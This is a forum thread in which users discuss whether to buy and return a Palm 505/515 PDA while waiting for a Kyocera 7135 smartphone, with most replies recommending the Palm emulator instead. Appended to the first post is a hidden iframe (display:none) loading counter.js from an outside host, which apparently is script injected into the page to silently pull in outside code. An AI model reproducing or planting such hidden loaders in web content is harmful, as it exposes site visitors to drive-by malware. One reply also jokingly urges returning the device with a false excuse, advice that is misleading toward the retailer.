Would it be terribly wrong to relieve my anxiety of a release date for the 7135 by buying a Palm 505/515 color PDA just so I get the hang of what a PDA is like since I havent owned one? Also, should I be able to run every palm app on the 7135 that I can on the Palm 505? I've fiddled with PDAs like my sisters'...but would buying one at say best buy and returning it before the 14-day return period expires be a bad idea? :-<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

ari1979,

Yes, everything that will run on your palm 515 should run fine on your 7135.

As for the ethical question of "borrowing" a 505/515 from best buy for a few weeks with full intention of returning it, I'd say nah.

If you are really desperate to try a device, download the palm emulator from Palm's website and run it on your PC. You can try all the built-in functions and load programs and do most everything you can do with a device right from the comfort of your PC (which you already own, right?). I ran this emulator a year or so ago when I had to make a presentation to a large group on how a Palm can make you more productive.

-Gadgetpro

:biglaughc GadetPro you crack me up. I'm already a little nervous with the upgrade process to the 7135. In fact, I will probably blow away my Palm folder and un-install the pocket mirror and hotsync software before I install the software that comes with the 7135. Man am I long winded today. Anyway, for 14 days of color I wouldn't chance it.

I agree - It isnt worth the headache -- Get the Emulator

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I'll be the voice of dissension. Go for it, download everything in site from Palmgear.com. Take it back, write down on the slip, "the color is too dim for my tastes, I need brighter color plus I read that palm is discontinuing the universal connector so that doesn't bode well for availability of accessories in the future."

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ari1979,

I firmly believe that you should not toy with a fullsize Palm while waiting for your 7135 and here's why...

The screen on the 7135 (and 6035 for that matter) is pretty small compared to a full-sized Palm. It the 7135 or 6035 is your first Palm device, the screen won't seem small to you at all.
BUT, if you get used to a Palm with a big screen, then you will feel a bit bummed about the screen size when you get a smartphone.

You never foget your first time, do you?:naughty :kiss :eek2


Just wait a little bit longer and you will soon forget all about the wait.

~Markito

So yer saying that since I'm used to using a Palm IIIc screen, I'll be disappointed in the Kyocera 7135? Uh oh.

you'll only be disappointed w/the difference compared to the IIIc screen size, I'm told that the color is far richer on the 7135.

I'd wait.

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